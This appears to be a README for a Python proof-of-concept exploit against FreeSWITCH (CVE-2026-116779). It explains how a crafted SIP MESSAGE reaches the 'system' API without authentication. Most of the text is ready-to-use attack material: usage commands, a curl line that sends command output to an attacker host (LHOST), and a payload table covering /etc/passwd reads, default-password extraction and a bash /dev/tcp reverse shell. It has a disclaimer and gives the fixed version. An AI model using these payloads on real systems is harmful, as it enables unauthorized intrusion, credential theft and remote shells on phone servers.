
Python PoC for CVE-2026-116779: unauthenticated OS command execution in FreeSWITCH via the SIP MESSAGE api chat handler, with arbitrary API command and reverse shell payloads.
Unauthenticated OS command execution via SIP MESSAGE api chat handler
| Field | Value |
|---|---|
| CVE | CVE-2026-116779 |
| Product | SignalWire FreeSWITCH |
| Affected | < 1.11.3 |
| Fixed | v1.11.3 (commit 7015f6a) |
| CVSS v3 | 9.8 CRITICAL (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-78 — OS Command Injection |
| Advisory | GHSA-mg63-h38w-8p9p |
Disclaimer: For authorized security testing and education only. Run against lab environments you own or have explicit written permission to test.
sofia_presence_handle_sip_i_message() in mod_sofia/sofia_presence.c parses
the To header user-part and splits it on the first +. The left half selects
a chat protocol; the right half is the argument. When the protocol is api,
FreeSWITCH passes the argument to switch_api_execute() — including the
system API command that forks a process under the daemon UID.
SIP MESSAGE (To: sip:api+system id@target)
→ sofia_presence_handle_sip_i_message() mod_sofia/sofia_presence.c
→ switch_core_chat_send("api", …) splits To user-part on '+'
→ switch_api_execute("system id") mod_commands.c → fork()
# Probe (safe — returns FreeSWITCH version)
python3 exploit.py 192.168.1.10
# Arbitrary FreeSWITCH API command
python3 exploit.py 192.168.1.10 -c "sofia status"
# OS command injection via the 'system' API
python3 exploit.py 192.168.1.10 -c "system id"
# Out-of-band exfil (stdout does not come back in the SIP 200 OK)
python3 exploit.py 192.168.1.10 -c "system curl http://LHOST/?o=\$(id|base64)"
usage: exploit.py [-h] [-p PORT] [-s SRC_IP] [-sp SRC_PORT] [-c CMD] target
positional arguments:
target FreeSWITCH host / IP
options:
-p, --port SIP UDP port (default: 5060)
-s, --src-ip Local IP to bind (default: auto-detect)
-sp, --src-port Local UDP port (default: 5099)
-c, --cmd FreeSWITCH API command (default: version)
| Command | Effect |
|---|---|
version | Safe probe — returns FS version |
sofia status | SIP profiles, URIs, transports |
show registrations | Registered extensions with IP/UA |
eval $${default_password} | Default extension password |
system id | Daemon UID |
system cat /etc/passwd | File read |
system bash -i >& /dev/tcp/LHOST/4444 0>&1 | Reverse shell |
Note:
systemoutput is not returned in the SIP response. Use an out-of-band channel (HTTP listener, DNS, etc.) to capture stdout.
Python 3.6+ — standard library only, no dependencies.
Upgrade to FreeSWITCH ≥ 1.11.3.
freeswitch -version # verify installed version